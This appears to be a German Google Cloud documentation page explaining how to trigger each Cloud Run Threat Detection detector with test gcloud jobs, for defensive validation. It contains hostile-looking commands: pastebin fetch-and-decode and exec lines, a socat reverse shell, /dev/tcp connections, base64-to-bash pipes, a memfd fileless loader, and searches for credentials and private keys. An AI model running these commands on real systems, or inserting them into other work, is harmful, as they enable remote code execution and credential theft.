Cloud Run Threat Detection testen

Auf dieser Seite wird erläutert, wie Sie prüfen können, ob Cloud Run Threat Detection funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Cloud Run Threat Detection ist ein integrierter Dienst von Security Command Center.

Hinweis

Wenn Sie potenzielle Bedrohungen für Ihre Cloud Run-Dienste und -Jobs erkennen möchten, muss der Dienst Cloud Run Threat Detection aktiviert sein in Security Command Center. Einige Detektoren sind standardmäßig deaktiviert. Wenn Sie diese Detektoren testen möchten, müssen Sie sie zuerst aktivieren.

Umgebungsvariablen festlegen

Zum Testen von Detektoren verwenden Sie die Google Cloud console und Cloud Shell. Sie können Umgebungsvariablen in Cloud Shell festlegen, um die Ausführung von Befehlen zu vereinfachen. Diese Variablen werden zum Testen aller Detektoren verwendet.

  1. Rufen Sie die Google Cloud Console auf.

    Zur Google Cloud Console.

  2. Wählen Sie das Projekt aus, das den Cloud Run-Job enthält, den Sie zum Testen verwenden möchten.

  3. Klicken Sie auf Cloud Shell aktivieren.

  4. Legen Sie in Cloud Shell die Umgebungsvariablen fest:

    1. Legen Sie das Projekt und die Region fest, in denen Sie Testjobs erstellen.

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

Nachdem Sie die Umgebungsvariablen festgelegt haben, können Sie der Anleitung zum Testen von Detektoren folgen.

Command and Control: Steganographie-Tool erkannt

Wenn Sie ein Command and Control: Steganography Tool Detected (Vorschau) Ergebnis auslösen möchten, führen Sie eine Binärdatei mit Funktionen zur Dateimanipulation aus, die mit Steganographie-Tools in einem Container übereinstimmen. In diesem Beispiel wird /bin/ls kopiert und in steghide umbenannt.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Command and Control: Steganography Tool Detected Ergebnis erstellt.

Zugriff auf Anmeldedaten: Find Google Cloud Credentials

Wenn Sie ein Ergebnis des Typs Credential Access: Find Google Cloud Credentials auslösen möchten, führen Sie eine Binärdatei aus, mit der Dateiinhalte in einem Container durchsucht werden können. In diesem Beispiel wird /bin/ls kopiert, in grep umbenannt und mit verdächtigen Argumenten ausgeführt.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Credential Access: Find Google Cloud Credentials Ergebnis erstellt.

Zugriff auf Anmeldedaten: Ausspähung von GPG-Schlüsseln

Wenn Sie ein Ergebnis des Typs Credential Access: GPG Key Reconnaissance auslösen möchten, führen Sie ein Suchtool mit verdächtigen Argumenten aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Credential Access: GPG Key Reconnaissance erstellt.

Zugriff auf Anmeldedaten: Suche nach privaten Schlüsseln oder Passwörtern

Wenn Sie ein Ergebnis des Typs Credential Access: Search Private Keys or Passwords auslösen möchten, führen Sie ein Suchtool mit verdächtigen Argumenten aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Credential Access: Search Private Keys or Passwords Ergebnis erstellt.

Defense Evasion: Befehlszeile für Base64-ELF-Datei

Wenn Sie ein Ergebnis des Typs Defense Evasion: Base64 ELF File Command Line auslösen möchten, führen Sie base64 mit codierten ELF Header-Argumenten aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren sollten zwei Ergebnisse des Typs Defense Evasion: Base64 ELF File Command Line erstellt werden.

Defense Evasion: Base64-codiertes Python-Script ausgeführt

Wenn Sie ein Ergebnis des Typs Defense Evasion: Base64 Encoded Python Script Executed auslösen möchten, führen Sie echo mit einem codierten Python-Befehl aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Defense Evasion: Base64 Encoded Python Script Executed erstellt.

Defense Evasion: Base64-codiertes Shell-Script ausgeführt

Wenn Sie ein Ergebnis des Typs Defense Evasion: Base64 Encoded Shell Script Executed auslösen möchten, führen Sie echo mit einem codierten Shell-Befehl aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Defense Evasion: Base64 Encoded Shell Script Executed erstellt.

Defense Evasion: Compiler-Tool für Code im Container gestartet

Wenn Sie ein Ergebnis des Typs Defense Evasion: Launch Code Compiler Tool In Container (Vorschau) auslösen möchten, führen Sie ein Compiler-Tool aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Defense Evasion: Launch Code Compiler Tool In Container Ergebnis erstellt.

Execution: Hinzugefügtes schädliches Binärprogramm ausgeführt

Wenn Sie ein Ergebnis des Typs Execution: Added Malicious Binary Executed auslösen möchten, fügen Sie Ihrem Container eine schädliche Binärdatei (EICAR) hinzu und führen Sie sie aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Added Malicious Binary Executed erstellt.

Execution: Hinzugefügte schädliche Bibliothek geladen

Wenn Sie ein Ergebnis des Typs Execution: Added Malicious Library Loaded auslösen möchten, fügen Sie Ihrem Container eine schädliche Bibliothek hinzu und laden Sie sie. In diesem Beispiel wird die Datei /tmp/test_mal_lib mit einer simulierten schädlichen Bibliothek aktualisiert und dann mit mmap geladen. Das Laden einer Bibliothek aus einer vorhandenen Datei ist unerwartet, da die Datei nicht im ursprünglichen Container-Image enthalten war und die Bibliothek eine EICARTestdatei ist, die von der Threat Intelligence als schädlich eingestuft wird.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Added Malicious Library Loaded erstellt.

Execution: Container-Escape

Wenn Sie ein Ergebnis des Typs Execution: Container Escape auslösen möchten, führen Sie ein Tool aus, das das Verhalten eines Container-Escape simuliert.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Container Escape erstellt.

Execution: Dateilose Ausführung in /memfd:

Wenn Sie ein Ergebnis des Typs Execution: Fileless Execution in /memfd: auslösen möchten, führen Sie einen Prozess aus dem /memfd: In-Memory-Dateisystem mit Python aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command bash \
      --args "-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Fileless Execution in /memfd: erstellt.

Execution: Ausführung eines Kubernetes-Angriffstools

Wenn Sie ein Ergebnis des Typs Execution: Kubernetes Attack Tool Execution auslösen möchten, führen Sie ein Programm aus, das mit einem bekannten Angriffstool übereinstimmt.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Kubernetes Attack Tool Execution erstellt.

Execution: Ausführung eines lokalen Ausspähtools

Wenn Sie ein Ergebnis des Typs Execution: Local Reconnaissance Tool Execution auslösen möchten, führen Sie ein Programm aus, das mit einem Ausspähtool übereinstimmt.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Local Reconnaissance Tool Execution Ergebnis erstellt.

Execution: Schädlicher Python-Code ausgeführt

Wenn Sie ein Ergebnis des Typs Execution: Malicious Python Executed auslösen möchten, führen Sie ein Python-Skript aus, das schädliches Verhalten imitiert.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE="import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/python:latest \
      --task-timeout 700 \
      --command bash \
      --args "-c","sleep 601; python -c \"${PYTHON_CODE}\" ; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Malicious Python Executed erstellt. Es kann bis zu 15 Minuten dauern, bis bei diesem Test ein Ergebnis generiert wird.

Execution: Geändertes schädliches Binärprogramm ausgeführt

Wenn Sie ein Ergebnis des Typs Execution: Modified Malicious Binary Executed auslösen möchten, ändern Sie eine Binärdatei so, dass sie mit einer bekannten schädlichen Signatur (EICAR) übereinstimmt.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Modified Malicious Binary Executed erstellt.

Execution: Geänderte schädliche Bibliothek geladen

Wenn Sie ein Ergebnis des Typs Execution: Modified Malicious Library Loaded auslösen möchten, ändern Sie eine vorhandene Datei mit einer schädlichen Bibliothek in Ihrem Container und laden Sie sie. In diesem Beispiel wird die Datei /etc/issue mit einer simulierten schädlichen Bibliothek aktualisiert und dann mit mmap geladen. Das Laden einer Bibliothek aus einer vorhandenen Datei ist unerwartet, da die Bibliothek eine EICARTestdatei ist, die von der Threat Intelligence als schädlich eingestuft wird.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Modified Malicious Library Loaded erstellt.

Execution: Netcat-Remote-Codeausführung im Container

Wenn Sie ein Ereignis des Typs Execution: Netcat Remote Code Execution In Container auslösen möchten, führen Sie Netcat mit verdächtigen Argumenten aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Netcat Remote Code Execution In Container Ergebnis erstellt.

Execution: Mögliche Ausführung beliebiger Befehle über CUPS (CVE-2024-47076)

Wenn Sie ein Ergebnis des Typs Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) auslösen möchten, führen Sie ein Skript aus, das den Exploit simuliert.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) erstellt.

Execution: Mögliche Remote-Befehlsausführung erkannt

Wenn Sie ein Ergebnis des Ty0/} (Vorschau) auslösen möchten, führen Sie einen Befehl aus, der eine Remote-Verbindung versucht.Execution: Possible Remote Command Execution Detected

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Possible Remote Command Execution Detected Ergebnis erstellt.

Execution: Programmausführung mit nicht zulässiger HTTP-Proxy-Umgebung

Wenn Sie ein Ergebnis des Typs Execution: Program Run with Disallowed HTTP Proxy Env auslösen möchten, führen Sie ein Programm mit einer fehlerhaften Proxy-Umgebungsvariable aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Program Run with Disallowed HTTP Proxy Env Ergebnis erstellt.

Execution: Socat-Reverse-Shell erkannt

Wenn Sie ein Ergebnis des Typs Execution: Socat Reverse Shell Detected auslösen möchten, stellen Sie mit dem Dienstprogramm socat eine Reverse-Shell her.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; apt-get update && apt-get install socat -y && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Socat Reverse Shell Detected erstellt.

Execution: Verdächtiges freigegebenes OpenSSL-Objekt geladen

Wenn Sie ein Ergebnis des Typs Execution: Suspicious OpenSSL Shared Object Loaded auslösen möchten, führen Sie openssl mit einer verdächtigen Bibliothek aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Execution: Suspicious OpenSSL Shared Object Loaded erstellt.

Exfiltration: Remote-Tools zum Kopieren von Dateien im Container gestartet

Wenn Sie ein Ergebnis des Typs Exfiltration: Launch Remote File Copy Tools In Container auslösen möchten, führen Sie ein Tool zum Kopieren von Dateien per Remote-Verbindung aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Exfiltration: Launch Remote File Copy Tools In Container Ergebnis erstellt.

Impact: Erkennung schädlicher Cmdline-Dateien

Wenn Sie ein Ergebnis des Typs Impact: Detect Malicious Cmdlines (Vorschau) auslösen möchten, führen Sie einen verdächtigen Befehlsnamen (IPFS) aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Impact: Detect Malicious Cmdlines erstellt.

Impact: Bulk-Entfernung von Daten von Laufwerk

Wenn Sie ein Ergebnis des Typs Impact: Remove Bulk Data From Disk auslösen möchten, führen Sie ein Tool wie shred aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Impact: Remove Bulk Data From Disk erstellt.

Impact: Verdächtige Cryptomining-Aktivität mit Stratum-Protokoll

Wenn Sie ein Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol Ergebnis auslösen möchten, führen Sie eine Binärdatei mit Argumenten aus, die denen ähneln, die von Cryptomining-Software verwendet werden, die über das Stratum-Protokoll kommuniziert.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol Ergebnis erstellt.

Schädliches Script ausgeführt

Wenn Sie ein Ergebnis des Typs Malicious Script Executed auslösen möchten, führen Sie ein Skript aus, das schädliches Verhalten imitiert.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Malicious Script Executed erstellt.

Schädliche URL beobachtet

Wenn Sie ein Ergebnis des Typs Malicious URL Observed auslösen möchten, führen Sie eine Binärdatei aus und geben Sie eine schädliche URL als Argument an.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Malicious URL Observed ausgelöst.

Rechteausweitung: Missbrauch von Sudo zur Rechteausweitung (CVE-2019-14287)

Wenn Sie ein Ergebnis des Typs Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) auslösen möchten, führen Sie die Binärdatei sudo mit dem Parameter -u#-1 aus.

Erstellen und führen Sie den Cloud Run-Job aus:

JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) erstellt.

